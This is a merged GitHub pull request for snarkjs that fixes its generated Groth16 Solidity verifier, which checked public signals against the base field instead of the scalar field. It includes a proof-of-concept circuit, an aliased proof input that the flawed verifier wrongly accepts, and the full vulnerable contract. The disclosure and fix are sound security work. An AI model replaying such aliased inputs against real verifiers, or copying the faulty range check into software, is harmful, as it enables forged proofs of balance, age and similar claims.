Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix: Groth16Verifier solidity scalar size check. (security vulnerability) #480

Merged

Conversation

Stumble
Copy link
Contributor

@Stumble Stumble commented Apr 5, 2024

The Groth16Verifier contract is not correctly generating codes to checking that public signals are within the scalar field's range. Signals should be less than r instead of q in the contract's context.

See #479

EDIT:
This may actually be a security vulnerability for small public signals that is less than q - r. And because q-r = 147946756881789318990833708069417712966 is not that small, many use cases may fall into this range.

Exploit:

A simple circom circuit accepting a value less than 100.

pragma circom 2.1.5;

include "circomlib/circuits/comparators.circom";

template Main() {
  signal input v;
  signal output tinyVal;
  tinyVal <== v;

  component lte = LessEqThan(252);
  lte.in[0] <== v;
  lte.in[1] <== 100;
  lte.out === 1;
}

component main = Main();

The generated solidity code's verifyProof function returns true for both 1 and 1 + r as the public input, falsely claiming that
1 + 21888242871839275222246405745257275088548364400416034343698204186575808495617 is less than 100.

I can image that, without adding additional (correct) checkings, contracts may be vulnerable to this issue, when public signals are used as proof of balance, age or anything that is not random enough.

You can test it on Remix. The original and aliased proof will be accepted,

Original proof

["0x2ffa7c0c3b9ed7faff72edfe622d82fbbdf28a7b7dff6cba264fc311c4bd3049", "0x04980cf571e80e739e22cb997995acac32fee0025de40d4efbff3100b49881fd"],[["0x29e0510ade76f779a2953adff7ea87ee806ec062c15e7b9a6ba4802e4925b72e", "0x142c8b7edff44e37b74bc461fc4109038416f8b689da4e2bc0fd8e819b1f9d1e"],["0x15e9076c7d81c4372f310959a6d3d64e6ada8d1aa24a7ae334b92fc937312093", "0x236f37bfef941d54907333d0f56d4d633157285b7190f66620fb861ec624ccef"]],["0x27bc3b1a8ecc1d740ba29afe0a5ee0744129b57a9fefa0a1cc42201456cf6547", "0x1e6785bd8e96f31f44fcd4f08584da37a4eee82341b6c6dbc9be28b5ca5de629"],["0x0000000000000000000000000000000000000000000000000000000000000001"]

Aliased proof

["0x2ffa7c0c3b9ed7faff72edfe622d82fbbdf28a7b7dff6cba264fc311c4bd3049", "0x04980cf571e80e739e22cb997995acac32fee0025de40d4efbff3100b49881fd"],[["0x29e0510ade76f779a2953adff7ea87ee806ec062c15e7b9a6ba4802e4925b72e", "0x142c8b7edff44e37b74bc461fc4109038416f8b689da4e2bc0fd8e819b1f9d1e"],["0x15e9076c7d81c4372f310959a6d3d64e6ada8d1aa24a7ae334b92fc937312093", "0x236f37bfef941d54907333d0f56d4d633157285b7190f66620fb861ec624ccef"]],["0x27bc3b1a8ecc1d740ba29afe0a5ee0744129b57a9fefa0a1cc42201456cf6547", "0x1e6785bd8e96f31f44fcd4f08584da37a4eee82341b6c6dbc9be28b5ca5de629"],["0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000002"]

Generated solidity contract:

// SPDX-License-Identifier: GPL-3.0
/*
    Copyright 2021 0KIMS association.

    This file is generated with [snarkJS](https://github.com/iden3/snarkjs).

    snarkJS is a free software: you can redistribute it and/or modify it
    under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    snarkJS is distributed in the hope that it will be useful, but WITHOUT
    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
    License for more details.

    You should have received a copy of the GNU General Public License
    along with snarkJS. If not, see <https://www.gnu.org/licenses/>.
*/

pragma solidity >=0.7.0 <0.9.0;

contract Groth16Verifier {
    // Scalar field size
    uint256 constant r    = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
    // Base field size
    uint256 constant q   = 21888242871839275222246405745257275088696311157297823662689037894645226208583;

    // Verification Key data
    uint256 constant alphax  = 20491192805390485299153009773594534940189261866228447918068658471970481763042;
    uint256 constant alphay  = 9383485363053290200918347156157836566562967994039712273449902621266178545958;
    uint256 constant betax1  = 4252822878758300859123897981450591353533073413197771768651442665752259397132;
    uint256 constant betax2  = 6375614351688725206403948262868962793625744043794305715222011528459656738731;
    uint256 constant betay1  = 21847035105528745403288232691147584728191162732299865338377159692350059136679;
    uint256 constant betay2  = 10505242626370262277552901082094356697409835680220590971873171140371331206856;
    uint256 constant gammax1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
    uint256 constant gammax2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
    uint256 constant gammay1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
    uint256 constant gammay2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;
    uint256 constant deltax1 = 4615710236636293198106337371337362285985634843751938491748740791613733792708;
    uint256 constant deltax2 = 10571395323677127881997464375175410351278719464839187648374573092068279515765;
    uint256 constant deltay1 = 16570862185175581631865090846621373359038621383163607418835165545038134997827;
    uint256 constant deltay2 = 7563261225503265339648943916005864088351531186407169280105877995636654837075;

    
    uint256 constant IC0x = 14359880466653650460738061563886483253020637973217913396999763064129764289952;
    uint256 constant IC0y = 17807994581718941214236421674610742245488959618474659523669425402929434835533;
    
    uint256 constant IC1x = 9891076859888852769926219338273693558668106726565047226141513678781573048681;
    uint256 constant IC1y = 16239868202127548798318799059379829093390395086856770475673564769150151910347;
    
 
    // Memory data
    uint16 constant pVk = 0;
    uint16 constant pPairing = 128;

    uint16 constant pLastMem = 896;

    function verifyProof(uint[2] calldata _pA, uint[2][2] calldata _pB, uint[2] calldata _pC, uint[1] calldata _pubSignals) public view returns (bool) {
        assembly {
            function checkField(v) {
                if iszero(lt(v, q)) {
                    mstore(0, 0)
                    return(0, 0x20)
                }
            }
            
            // G1 function to multiply a G1 value(x,y) to value in an address
            function g1_mulAccC(pR, x, y, s) {
                let success
                let mIn := mload(0x40)
                mstore(mIn, x)
                mstore(add(mIn, 32), y)
                mstore(add(mIn, 64), s)

                success := staticcall(sub(gas(), 2000), 7, mIn, 96, mIn, 64)

                if iszero(success) {
                    mstore(0, 0)
                    return(0, 0x20)
                }

                mstore(add(mIn, 64), mload(pR))
                mstore(add(mIn, 96), mload(add(pR, 32)))

                success := staticcall(sub(gas(), 2000), 6, mIn, 128, pR, 64)

                if iszero(success) {
                    mstore(0, 0)
                    return(0, 0x20)
                }
            }

            function checkPairing(pA, pB, pC, pubSignals, pMem) -> isOk {
                let _pPairing := add(pMem, pPairing)
                let _pVk := add(pMem, pVk)

                mstore(_pVk, IC0x)
                mstore(add(_pVk, 32), IC0y)

                // Compute the linear combination vk_x
                
                g1_mulAccC(_pVk, IC1x, IC1y, calldataload(add(pubSignals, 0)))
                

                // -A
                mstore(_pPairing, calldataload(pA))
                mstore(add(_pPairing, 32), mod(sub(q, calldataload(add(pA, 32))), q))

                // B
                mstore(add(_pPairing, 64), calldataload(pB))
                mstore(add(_pPairing, 96), calldataload(add(pB, 32)))
                mstore(add(_pPairing, 128), calldataload(add(pB, 64)))
                mstore(add(_pPairing, 160), calldataload(add(pB, 96)))

                // alpha1
                mstore(add(_pPairing, 192), alphax)
                mstore(add(_pPairing, 224), alphay)

                // beta2
                mstore(add(_pPairing, 256), betax1)
                mstore(add(_pPairing, 288), betax2)
                mstore(add(_pPairing, 320), betay1)
                mstore(add(_pPairing, 352), betay2)

                // vk_x
                mstore(add(_pPairing, 384), mload(add(pMem, pVk)))
                mstore(add(_pPairing, 416), mload(add(pMem, add(pVk, 32))))


                // gamma2
                mstore(add(_pPairing, 448), gammax1)
                mstore(add(_pPairing, 480), gammax2)
                mstore(add(_pPairing, 512), gammay1)
                mstore(add(_pPairing, 544), gammay2)

                // C
                mstore(add(_pPairing, 576), calldataload(pC))
                mstore(add(_pPairing, 608), calldataload(add(pC, 32)))

                // delta2
                mstore(add(_pPairing, 640), deltax1)
                mstore(add(_pPairing, 672), deltax2)
                mstore(add(_pPairing, 704), deltay1)
                mstore(add(_pPairing, 736), deltay2)


                let success := staticcall(sub(gas(), 2000), 8, _pPairing, 768, _pPairing, 0x20)

                isOk := and(success, mload(_pPairing))
            }

            let pMem := mload(0x40)
            mstore(0x40, add(pMem, pLastMem))

            // Validate that all evaluations ∈ F
            
            checkField(calldataload(add(_pubSignals, 0)))
            
            checkField(calldataload(add(_pubSignals, 32)))
            

            // Validate all evaluations
            let isValid := checkPairing(_pA, _pB, _pC, _pubSignals, pMem)

            mstore(0, isValid)
             return(0, 0x20)
         }
     }
 }

The Groth16Verifier contract is not correctly generating codes to
checking that public signals that with the scalar field's range.
Signals should be less than r instead of q in the contract's context.
@Stumble Stumble changed the title fix: Groth16Verifier solidity scalar size check. fix: Groth16Verifier solidity scalar size check. (security vulnerability) Apr 5, 2024
@OBrezhniev OBrezhniev merged commit fcfa802 into iden3:master Apr 8, 2024
12 of 18 checks passed
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 9, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 11, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 12, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 14, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 16, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 16, 2024
arnaucube added a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 17, 2024
github-merge-queue bot pushed a commit to privacy-scaling-explorations/sonobe that referenced this pull request Apr 25, 2024
* Add solidity verifier of the nova+cyclefold, and add method to prepare the calldata from Decider's proof. Missing conversion of the point coordinates into limbs (ark compatible)

* chore: adding comments linking to the contract's signature

* chore: update .gitignore

* chore: add num-bigint as dev dependency

* fix: work with abs path for storing generated sol code

* chore: update comment

* feat: solidity verifier working on single and multi-input circuits

* feat: multi-input folding verification working + fixing encoding of additive identity in calldata

* chore: make bigint a dependency

* refactor: import utils functions from utils.rs and make them available from anywhere

* chore: make utils and evm available publicly

* fix: pub mod instead

* chore: make relevant method public and add `get_decider_template_for_cyclefold_decider` to exported objects

* solidity-verifiers: move tests to their corresponding files

* small update: Cyclefold -> CycleFold at the missing places

* abstract nova-cyclefold solidity verifiers tests to avoid code duplication, and abstract also the computed setup params (FS & Decider) to compute them only once for all related tests to save test time

* small polish after rebase to last main branch changes

* rm unneeded Option for KZGData::g1_crs_batch_points

* add checks modifying z_0 & z_i to nova_cyclefold_solidity_verifier test

* add light-test feature to decider_eth_circuit to use it in solidity-verifier tests without the big circuit

* solidity-verifiers: groth16 template: port the fix from iden3/snarkjs#480 & iden3/snarkjs#479

* add print warning msg for light-test in DeciderEthCircuit

* solidity-verifiers: update limbs logic to nonnative last version, parametrize limbs params

solidity-verifiers:
* update solidity limbs logic to last nonnative impl version, and to
  last u_i.x impl
* parametrize limbs params
* add light-test feature: replace the '#[cfg(not(test))]' by the
  'light-test' feature that by default is not enabled, so when running
  the github actions we enable the feature 'light-tests', and then we can
  have a full-test that runs the test without the 'light-tests' flag, but
  we don't run this big test every time.  The choice of a feature is to
  allow us to control this from other-crates tests (for example for the
  solidity-verifier separated crate tests, to avoid running the full heavy
  circuit in the solidity tests)

* move solidity constants into template constants for auto compute of params

* polishing

* revm use only needed feature

This is to avoid c depencency for c-kzg which is behind the c-kzg flag
and not needed.

* nova_cyclefold_decider.sol header

* rearrange test helpers position, add error for min number of steps

* in solidity-verifiers: 'data'->'vk/verifier key'

* add From for NovaCycleFoldVerifierKey from original vks to simplify dev flow, also conditionally template the batchCheck related structs and methods from the KZG10 solidity template

---------

Co-authored-by: dmpierre <[email protected]>
@OBrezhniev
Copy link
Member

OBrezhniev commented Apr 26, 2024

Hello @Stumble! We just released version of snarkjs with your fix merged! Thank you for the contribution!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants